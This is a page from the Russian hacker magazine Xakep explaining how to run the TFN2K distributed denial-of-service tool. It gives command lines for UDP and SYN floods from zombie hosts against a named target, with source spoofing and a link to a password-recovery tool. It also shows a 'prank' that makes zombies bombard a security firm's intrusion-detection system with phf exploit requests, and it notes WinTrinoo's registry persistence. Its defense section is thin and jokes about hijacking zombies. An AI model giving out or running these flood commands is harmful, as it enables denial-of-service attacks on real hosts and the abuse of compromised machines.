DDOS - непобедимая сила Zoмби

Xakep, номер #039, стр. 039-062-2


Разархивируй архив. Жми make. Тебя попросят ввести пароль. Все, первая стадия завершена.

Итак, td - это собственно сервер. Запусти его на своей машине, а потом клиентом (tfn) отдаешь приказ:

#./tfn -P tcp -h localhost -i www.ВРАГ.ru -c 4

Protocol: tcp

Source IP: random

Client input: single host

Command: stop flooding

Password verification: #тут вводишь свой пароль.

Что, пароль неверный? :) Тогда скачай tfnRECOVERY (http://packetstorm.widexs.nl/distributed/tfn2kpass.c) компилируй ее, запускай

#./rec

и получи свой пароль. А мы пока проверим прогу в действии.

Сценарий 1

Итак, у тебя есть одна машина [A] с установленным tfn серваком. И цель - [B]. Что мы делаем? Набираем команду:

./tfn -P tcp -h [A] -i [B] -c 4

Теперь мы флудим хост [B], через хост [A] (опция 4 - UDP Flood), твой адрес по дефолту заспуфен, но его можно указать, используя опцию -S :).

Сценарий 2

У тебя есть несколько хостов с демоном tfn и все тот же противный хост [B]. Записывай ip'шки в файл. Теперь набирай:

#./tfn -P tcp -f your_ip_file -i [B] -c 5

Теперь все хосты в твоем ip файле будут флудить хост [B] SYN Flood'ом (опция 5).

Сценарий 3

Хост [B] молит о пощаде. Его нужно спасти:

#./tfn -P tcp -f your_ip_file -i [B] -c 0

Опция 0 означает отмену всяких флудов на хостах Zомби. Прикол от Mixter'а с IDS:

./tfn -h your_ip_file -c 10 -i "echo 'GET /cgi-bin/phf?Qname=x%0A/bin/something\%20is%20wrong%20whis%20your%20IDS' | telnet www.security-corporation.com 80"

Поясняю: опция 10 - выполнять хостам Zoмби какую-нибудь команду. IDS - система обнаружения вторжений, и phf баг точно находится в их базе; %20 - это пробел. Думаю, все понятно :). Zoмби хосты будут посылать эту команду на 80 порт бесконечно, пока не отключат или ВЫКЛЮЧАТ :), а IDS будет усиленно реагировать на это, засорять логи, посылать SMS'ки и т.д. Хочешь еще таких шуток? :) Читай README.

WinTrinoo

Ну и на закуску ддошный сервак для Windows от группы Razor. Открывает порт 34555 и добавляет себя в реестр. Имя - service.exe. Понятное дело, что любой маломальский админ засечет это. Достаточно набрать netstat-a, и все встанет на свои места :). Как ты уже, наверное, понял, таких прог - туча, например, TFN (первая версия), Trinoo, WinTrinoo, Sharf... Описывать их все просто нет смысла.

Защита

Если есть уязвимость - есть и защита... И наоборот. Но тут все труднее. Например, 100% защиты от всяких флудов придумать трудно, разве что устанавливать всякие лимиты и таймауты. Но можно выискивать хосты Zомби, основываясь на специфических особенностях каждой системы.

Представим реальную ситуацию - на твой хост поступает шквал бессмысленных пакетов с разных хостов. Что делать? Отключиться от сети? Deny-ить их? Связываться с их админами и рассказывать, как дестройнуть сервак ddos (достаточно убить сам демон и порожденный им процесс)? :) А если все тихо, то сидеть и сканировать весь Интернет на Zoмби хосты? А потом самому ими воспользоваться :). Проблема усугубляется еще тем, что свой адрес можно спокойно спуфить.

Назад на стр. 039-062-1  Содержание  Вперед на стр. 039-062-3